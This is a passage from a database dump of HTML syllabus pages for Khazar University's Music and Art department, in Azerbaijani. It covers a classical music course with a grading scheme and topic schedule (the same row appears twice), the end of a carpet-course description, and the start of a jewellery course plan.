10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp; &nbsp; Azərbaycan xalçasının tarixən keçdiyi inkişaf yolunun mərhələlərlə təhlili və dünya mədəniyyəti xəzinəsinə verdiyi töhfələrin yeri və qiymətləndirilməsi.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Tədris metodları</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Prosesdə aşağıdakılar nəzərdə tutulur</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Mühazirələr və təcrübə dərsləri</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">İstehsalat&nbsp; və layihə prosesinə baxış, mühazirələr haqqında &nbsp;müzakirələr.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Təcrübə&nbsp;&nbsp;&nbsp; dərslərini münasib muzey və xalça sexlərində təkmilləşdirmək.</p></div><br></div>'),(1240,764,'az','Sillabuslar','Sillabuslar','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>Xəzər Universitəsi Musiqi və İncəsənət departamenti</strong></p><p>&nbsp;</p><p><strong>“Klassic music” Fənni</strong></p><p><strong>&nbsp;</strong></p><p><strong>“Klassic music” fənnindən Syllabus</strong></p><p><strong>&nbsp;</strong></p><p><strong>Müəllim:&nbsp;</strong>Yeganə Axundova<strong>&nbsp;</strong></p><p><strong>Telefon:&nbsp;&nbsp;</strong>050&nbsp;210 22 72<strong>&nbsp;</strong></p><p><strong>Semestr:&nbsp;</strong>FALL 2014</p><p><strong>Kredit:&nbsp;&nbsp;</strong></p><p>&nbsp;</p><p><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>50 bal<strong>&nbsp;</strong></p><p><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal<strong>&nbsp;</strong></p><p><strong>Davamiyyət:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal<strong>&nbsp;</strong></p><p>&nbsp;</p><p><strong>Davamiyyət</strong></p><p>Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması (xəstəlik,ailə vəziyyəti və s.) haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.<strong>&nbsp;</strong></p><p>&nbsp;</p><p><strong>İmtahan qaydaları</strong></p><p>İmtahan test və açıq suallar şəklində keçirilir, imtahan zamanı səslənən musiqi materialları düzgün cavablandırılmalıdır.&nbsp;<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>Fənni bitirmək qaydaları</strong></p><p>Universitein qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 bal və yuxarı hesab edilir. Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilər<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>Classic Music</strong></p><p><strong><br></strong></p><p>İnsan həyatını musiqisiz təsəvvür etmək mümkün deyil, ixtisasından və məşğulliyyətindən asılı olmayaraq insan doğulduğu gündən dünyasını dəyişənədək musiqi onu daim müşahidə edir, həyatının ayrılmaz hissəsinə çevrilir. Əsrlər boyu dünya mədəniyyətinin ayrılmaz hissəsi olan musiqi bədii zövqü artırır, mənəviyyatı ucaldır,insanın daxili aləmini zənginləşdirir.</p><p><strong>Kursun məqsədi</strong>&nbsp;“Azərbaycan klassik musiqisi və dünya musiqi mədəniyyəti” kursu musiqi mədəniyyəti haqqında bilgiləri artırmaq, musiqi zövqünü formalaşdırmaq, Azərbaycan və dünya musiqi mədəniyyətinin tarixini kifayət qədər qısa və lakonik şəkildə gənc nəslə çatdırmaqdır, onları dünyagörüşünü zənginləşdirmək&nbsp; və əsl Azərbaycan ziyalısı kimi tərbiyələndirməkdir</p><p><strong>Kursun məzmunu</strong>:&nbsp;Azərbaycan və dünya bəstəkarlarının yaradıcılığının qısa tarixi və&nbsp; əsas məqamları haqqında məlumatı əldə etmək, Azərbaycan klassik musiqisinin korifeyləri və şedevrləri ilə tanış olmaq, dünya bəstəkarları haqqında bilgiləri əldə etməkdir. Dərs prosesinə operalara, baletlərə bəstəkarlar haqqında filmlərə baxış, simfonik və populyar klassik musiqi parçalarını dinləmək daxildir. Kursda nəinki klassik musiqi, həmçinin dünya musiqi mədəniyyətinin başqa növlərindən-xalq, pop-rok və caz musiqisindən geniş bilgilər verilir.</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>Dərs proqramı</strong></p><p><strong>Cəmi 64 saat</strong></p><p><strong>&nbsp;</strong></p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"49\"><p>N-si</p></td><td width=\"522\"><p>&nbsp;</p></td><td width=\"67\"><p><strong>saat</strong></p></td></tr><tr><td width=\"49\"><p><strong>1</strong></p></td><td width=\"522\"><p>Kursa giriş. Bəşəriyyətdə və insan həyatında musiqi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>2</strong></p></td><td width=\"522\"><p>Kursun məzmunu. Dünya musiqi mədəniyyətinin növləri. Klassik musiqi haqqında anlayış. Dərslər və imtahan haqqında məlumat.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>3</strong></p></td><td width=\"522\"><p>Azərbaycan xalq musiqisi, aşıq musiqisi və muğamlar haqqında, Azərbaycan cazı haqqında məlumat.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>4</strong></p></td><td width=\"522\"><p>Azərbaycan klassik musiqisinin banisi Ü.Hacıbəyli-bəstəkar, alim, publisist, dramaturq, ictimai xadim</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>5</strong></p></td><td width=\"522\"><p>Ü. Hacıbəylinin operaları. “Leyli və Məcnun”</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>6</strong></p></td><td width=\"522\"><p>Ü. Hacıbəylinin musiqili komediyaları. “Arşın mal alan”.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>7</strong></p></td><td width=\"522\"><p>M. Maqomayev- görkəmli Azərbaycan bəstəkarı. Həyat yaradıcılığı. əsas əsərləri.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>8</strong></p></td><td width=\"522\"><p>M. Maqomayevin operaları. “Şah İsmayıl”.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>9</strong></p></td><td width=\"522\"><p>Q. Qarayev- məşhur bəstəkar, Azərbaycan klassiik musiqisində yeni musiqi dilinin yaradıcısı. Həyat və yaradıcılığı.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>10</strong></p></td><td width=\"522\"><p>Q. Qarayev. “Yeddi gözəl” baleti</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>11</strong></p></td><td width=\"522\"><p>F. Əmirov-görkəmli bəstəkar, yeni janr- simfonik muğamın yaradıcısı.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>12</strong></p></td><td width=\"522\"><p>F. Əmirov. “Sevil” operası.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>13</strong></p></td><td width=\"522\"><p>Niyazi Tağızadə Hacıbəyov- görkəmli dirijor və bəstəkar, həyat və yaradıcılığı</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>14</strong></p></td><td width=\"522\"><p>Niyazi Tağızadə Hacıbəyov. “Rast” simfonik muğamı</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>15</strong></p></td><td width=\"522\"><p>A. Məlikov- görkəmli Azərbaycan bəstəkarı, həyat və yaradıcılığı, əsas əsərləri.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>16</strong></p></td><td width=\"522\"><p>A. Məlikov. “Məhəbbət əfsanəsi”baleti</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>17</strong></p></td><td width=\"522\"><p>Azərbaycan klassik bəstəkarlıq məktəbi. A.Zeynallı, C.Hacıyev, S.Hacıbəyov</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>18</strong></p></td><td width=\"522\"><p>Azərbaycanın müasir bəstəkarlıq məktəbi. C.Cahangirov, S.Ələsgərov, T.Quliyev,&nbsp; R.Hacıyev, V.Adıgözəlov, A.Rzayev, X.Mirzazadə və b.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>19</strong></p></td><td width=\"522\"><p>Dünya musiqi mədəniyyətində&nbsp; qədim zaman və intibah dövrü.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>20</strong></p></td><td width=\"522\"><p>İ. S. Bax- dünya klassik musiqisində “polifoniyanın atası”.&nbsp; Klassik musiqidə əvəzolunmaz yeri, həyatı və yaradıcılığı haqqında məlumat.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>21</strong></p></td><td width=\"522\"><p>Vyana klassik məktəbi-İ. Haydn, V.A Mosart, L.V. Bethoven</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>22</strong></p></td><td width=\"522\"><p>V.A Mosart, L.V. Bethovenin həyat və yaradıcılığı, əsas əsərləri.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>23</strong></p></td><td width=\"522\"><p>XVIII-XIX əsrin əvəli-musiqidə romantizm dövrü. F Şubert, R Şuman, İ.Brams, J. Bize</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>24</strong></p></td><td width=\"522\"><p>XVIII-XIX əsrin əvəli-musiqidə romantizm dövrü. F.Mendelson, F. List, F. Şopen, E. Qriq, C.Verdi və b.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>25</strong></p></td><td width=\"522\"><p>Rus klassik musiqisi haqqında məlumat. Rus klassik musiqisinin banisi M. Qlinka</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>26</strong></p></td><td width=\"522\"><p>P.İ.Çaykovski- dünya şöhrətli rus bəstəkarı. “Sonalar gölü”, “Yatmış gözəl”, “Şelkunçik” baletləri, “Yevgeni Onegin”, “Qaratoqmaq qadın” operaları haqqında məlumat.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>27</strong></p></td><td width=\"522\"><p>Terminologiya.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>28</strong></p></td><td width=\"522\"><p>Musiqi</p></td><td width=\"67\"><p><strong>4</strong></p></td></tr><tr><td width=\"49\"><p><strong>29</strong></p></td><td width=\"522\"><p>Video</p></td><td width=\"67\"><p><strong>6</strong></p><div><strong><br></strong></div></td></tr></tbody></table></div></div>  <br></div>'),(1241,764,'en','Sillabuslar','Sillabuslar','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>Xəzər Universitəsi Musiqi və İncəsənət departamenti</strong></p><p>&nbsp;</p><p><strong>“Klassic music” Fənni</strong></p><p><strong>&nbsp;</strong></p><p><strong>“Klassic music” fənnindən Syllabus</strong></p><p><strong>&nbsp;</strong></p><p><strong>Müəllim:&nbsp;</strong>Yeganə Axundova<strong>&nbsp;</strong></p><p><strong>Telefon:&nbsp;&nbsp;</strong>050&nbsp;210 22 72<strong>&nbsp;</strong></p><p><strong>Semestr:&nbsp;</strong>FALL 2014</p><p><strong>Kredit:&nbsp;&nbsp;</strong></p><p>&nbsp;</p><p><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>50 bal<strong>&nbsp;</strong></p><p><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal<strong>&nbsp;</strong></p><p><strong>Davamiyyət:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal<strong>&nbsp;</strong></p><p>&nbsp;</p><p><strong>Davamiyyət</strong></p><p>Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması (xəstəlik,ailə vəziyyəti və s.) haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.<strong>&nbsp;</strong></p><p>&nbsp;</p><p><strong>İmtahan qaydaları</strong></p><p>İmtahan test və açıq suallar şəklində keçirilir, imtahan zamanı səslənən musiqi materialları düzgün cavablandırılmalıdır.&nbsp;<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>Fənni bitirmək qaydaları</strong></p><p>Universitein qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 bal və yuxarı hesab edilir. Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilər<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>Classic Music</strong></p><p><strong><br></strong></p><p>İnsan həyatını musiqisiz təsəvvür etmək mümkün deyil, ixtisasından və məşğulliyyətindən asılı olmayaraq insan doğulduğu gündən dünyasını dəyişənədək musiqi onu daim müşahidə edir, həyatının ayrılmaz hissəsinə çevrilir. Əsrlər boyu dünya mədəniyyətinin ayrılmaz hissəsi olan musiqi bədii zövqü artırır, mənəviyyatı ucaldır,insanın daxili aləmini zənginləşdirir.</p><p><strong>Kursun məqsədi</strong>&nbsp;“Azərbaycan klassik musiqisi və dünya musiqi mədəniyyəti” kursu musiqi mədəniyyəti haqqında bilgiləri artırmaq, musiqi zövqünü formalaşdırmaq, Azərbaycan və dünya musiqi mədəniyyətinin tarixini kifayət qədər qısa və lakonik şəkildə gənc nəslə çatdırmaqdır, onları dünyagörüşünü zənginləşdirmək&nbsp; və əsl Azərbaycan ziyalısı kimi tərbiyələndirməkdir</p><p><strong>Kursun məzmunu</strong>:&nbsp;Azərbaycan və dünya bəstəkarlarının yaradıcılığının qısa tarixi və&nbsp; əsas məqamları haqqında məlumatı əldə etmək, Azərbaycan klassik musiqisinin korifeyləri və şedevrləri ilə tanış olmaq, dünya bəstəkarları haqqında bilgiləri əldə etməkdir. Dərs prosesinə operalara, baletlərə bəstəkarlar haqqında filmlərə baxış, simfonik və populyar klassik musiqi parçalarını dinləmək daxildir. Kursda nəinki klassik musiqi, həmçinin dünya musiqi mədəniyyətinin başqa növlərindən-xalq, pop-rok və caz musiqisindən geniş bilgilər verilir.</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>Dərs proqramı</strong></p><p><strong>Cəmi 64 saat</strong></p><p><strong>&nbsp;</strong></p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"49\"><p>N-si</p></td><td width=\"522\"><p>&nbsp;</p></td><td width=\"67\"><p><strong>saat</strong></p></td></tr><tr><td width=\"49\"><p><strong>1</strong></p></td><td width=\"522\"><p>Kursa giriş. Bəşəriyyətdə və insan həyatında musiqi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>2</strong></p></td><td width=\"522\"><p>Kursun məzmunu. Dünya musiqi mədəniyyətinin növləri. Klassik musiqi haqqında anlayış. Dərslər və imtahan haqqında məlumat.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>3</strong></p></td><td width=\"522\"><p>Azərbaycan xalq musiqisi, aşıq musiqisi və muğamlar haqqında, Azərbaycan cazı haqqında məlumat.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>4</strong></p></td><td width=\"522\"><p>Azərbaycan klassik musiqisinin banisi Ü.Hacıbəyli-bəstəkar, alim, publisist, dramaturq, ictimai xadim</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>5</strong></p></td><td width=\"522\"><p>Ü. Hacıbəylinin operaları. “Leyli və Məcnun”</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>6</strong></p></td><td width=\"522\"><p>Ü. Hacıbəylinin musiqili komediyaları. “Arşın mal alan”.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>7</strong></p></td><td width=\"522\"><p>M. Maqomayev- görkəmli Azərbaycan bəstəkarı. Həyat yaradıcılığı. əsas əsərləri.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>8</strong></p></td><td width=\"522\"><p>M. Maqomayevin operaları. “Şah İsmayıl”.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>9</strong></p></td><td width=\"522\"><p>Q. Qarayev- məşhur bəstəkar, Azərbaycan klassiik musiqisində yeni musiqi dilinin yaradıcısı. Həyat və yaradıcılığı.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>10</strong></p></td><td width=\"522\"><p>Q. Qarayev. “Yeddi gözəl” baleti</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>11</strong></p></td><td width=\"522\"><p>F. Əmirov-görkəmli bəstəkar, yeni janr- simfonik muğamın yaradıcısı.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>12</strong></p></td><td width=\"522\"><p>F. Əmirov. “Sevil” operası.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>13</strong></p></td><td width=\"522\"><p>Niyazi Tağızadə Hacıbəyov- görkəmli dirijor və bəstəkar, həyat və yaradıcılığı</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>14</strong></p></td><td width=\"522\"><p>Niyazi Tağızadə Hacıbəyov. “Rast” simfonik muğamı</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>15</strong></p></td><td width=\"522\"><p>A. Məlikov- görkəmli Azərbaycan bəstəkarı, həyat və yaradıcılığı, əsas əsərləri.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>16</strong></p></td><td width=\"522\"><p>A. Məlikov. “Məhəbbət əfsanəsi”baleti</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>17</strong></p></td><td width=\"522\"><p>Azərbaycan klassik bəstəkarlıq məktəbi. A.Zeynallı, C.Hacıyev, S.Hacıbəyov</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>18</strong></p></td><td width=\"522\"><p>Azərbaycanın müasir bəstəkarlıq məktəbi. C.Cahangirov, S.Ələsgərov, T.Quliyev,&nbsp; R.Hacıyev, V.Adıgözəlov, A.Rzayev, X.Mirzazadə və b.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>19</strong></p></td><td width=\"522\"><p>Dünya musiqi mədəniyyətində&nbsp; qədim zaman və intibah dövrü.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>20</strong></p></td><td width=\"522\"><p>İ. S. Bax- dünya klassik musiqisində “polifoniyanın atası”.&nbsp; Klassik musiqidə əvəzolunmaz yeri, həyatı və yaradıcılığı haqqında məlumat.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>21</strong></p></td><td width=\"522\"><p>Vyana klassik məktəbi-İ. Haydn, V.A Mosart, L.V. Bethoven</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>22</strong></p></td><td width=\"522\"><p>V.A Mosart, L.V. Bethovenin həyat və yaradıcılığı, əsas əsərləri.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>23</strong></p></td><td width=\"522\"><p>XVIII-XIX əsrin əvəli-musiqidə romantizm dövrü. F Şubert, R Şuman, İ.Brams, J. Bize</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>24</strong></p></td><td width=\"522\"><p>XVIII-XIX əsrin əvəli-musiqidə romantizm dövrü. F.Mendelson, F. List, F. Şopen, E. Qriq, C.Verdi və b.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>25</strong></p></td><td width=\"522\"><p>Rus klassik musiqisi haqqında məlumat. Rus klassik musiqisinin banisi M. Qlinka</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>26</strong></p></td><td width=\"522\"><p>P.İ.Çaykovski- dünya şöhrətli rus bəstəkarı. “Sonalar gölü”, “Yatmış gözəl”, “Şelkunçik” baletləri, “Yevgeni Onegin”, “Qaratoqmaq qadın” operaları haqqında məlumat.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>27</strong></p></td><td width=\"522\"><p>Terminologiya.</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>28</strong></p></td><td width=\"522\"><p>Musiqi</p></td><td width=\"67\"><p><strong>4</strong></p></td></tr><tr><td width=\"49\"><p><strong>29</strong></p></td><td width=\"522\"><p>Video</p></td><td width=\"67\"><p><strong>6</strong></p><div><strong><br></strong></div></td></tr></tbody></table></div></div>  <br></div>'),(1242,765,'az','Sillabuslar','Sillabuslar','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>XƏZƏR UNİVERSİTETİ</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİ</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ZƏRGƏRLİK</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>FƏNNİNİN</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">T ə d r i s&nbsp; P l a n ı</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bu iş planı&nbsp; zərgərlik fənninin tədrisi zamanı əsas istiqamət verici sənəd olduğundan, tələbələrin bu sənədlə yaxından tanış olması vacib hesab edilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Müəllim haqqında qısa məlumat:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xuraman Məmmədova Əbilhəsən qızı 1974 cü il Bakı şəhərində anadan</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">olmuşdur.1981-1989cu illərdə 172 saylı orta məktəbi bitirmişdir.1989-1993 cü&nbsp; illərdə Əzim Əzimzadə adina rəssamlıq texnikumunun bədii tərtibat fakültəsini bitirmişdir.1993-1997 ci illərdə Azərbaycan Dövlət Mədəniyyə və İncəsənət Universitetinin toxuculuq və yüngül sənaye mallarının bədii layihələşdirilməsi fakültəsini bitirmişdir. 1998-2000 ci illərdə “Aysel” zərgərlik kicik müəssəsində müdir müavini vəzifəsində calışmışdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1999-cu ildə Bakı Əyləncə mərkəzində zərgərlik işlərinin sərgisi keçirilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2007 ci ilde İnternational Gemological Institute-nun professional jewellery kursuna daxil olmuşdur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2005-2008 ci illərdə Birləşmiş Ərəb Əmirliyinin Dubai şəhərinde ‘Abilhasan Salmanov Jewellery’ sirkətində zərgər dizayner&nbsp; vəzifəsində çalışmışdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">O illərdə “ Diamonds Are Women Best Friend” ( Almazlar qadınların en yaxın rəfiqəsidir) adlı sərgisini keçirmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycanın böyük dramaturq-şairi Hüseyn Cavidin portretini ipək üzərində xırda muncuqlarla işləmişdir. Har hazırda muzeydə yerləşir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2013 cü ildə Park İn Hotelində ‘Ümid var’ fərdi xeyriyyə resm sərgisi keçirilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2014 ci ilde Abşeron rayon Qobu qəsəbəsinin Sənətkarlıq evində direktor vəzifəsində calışmışdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;Əsas Dərsliklər</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>1)&nbsp;&nbsp;&nbsp;&nbsp;</strong>S.D . Əsedova&nbsp; - Azərbaycan&nbsp; Zərgərliyində&nbsp; şəbəkə &nbsp;nümunələri</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>2)&nbsp;&nbsp;&nbsp;&nbsp;</strong>M.S. Qaşqay&nbsp; Ə.İ. Mahmudov – Qiymətli və yarımqiymətli rəngli daşlar – 1973</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>3)&nbsp;&nbsp;&nbsp;&nbsp;</strong>B.Ə.Rəcəbova -&nbsp; Azərbaycanın orta əsr qadın bəzəkləri ( 4 – 13 əsrlər ) - 2000</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>4)&nbsp;&nbsp;&nbsp;&nbsp;</strong>R.H. Ələsgərov – Zərgərlik məmulatlarının istehsalatı üçün materiallar – 1997</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>5)&nbsp;&nbsp;&nbsp;&nbsp;</strong>В. Шуман – Мир камня &nbsp;Драгоценные и поделочные камни – 1986</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>6)&nbsp;&nbsp;&nbsp;&nbsp;</strong>Azərbaycan incəsənəti&nbsp; 6&nbsp; -&nbsp; 1959</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Fənnin məqsədi:</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Dekorativ – tətbiqi sənət:</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dekorativ – tətbiqi incəsənəti ustalarının&nbsp; qarşısında duran əsas vəzifələrdən biri, milli sənət irsimizin dəyərli ənənələrmizdən yaradıcılıq boyu&nbsp; istifadə edib gözəl&nbsp; və zövqlü əsərlər yaratmaqdir. Bu zəngin irsin mütereqqi cəhətlərini tənqidi suretde öyrənməyini Dekorativ – tətbiqi sənət rəssam və ustalarinin get – gede artmaqda olan 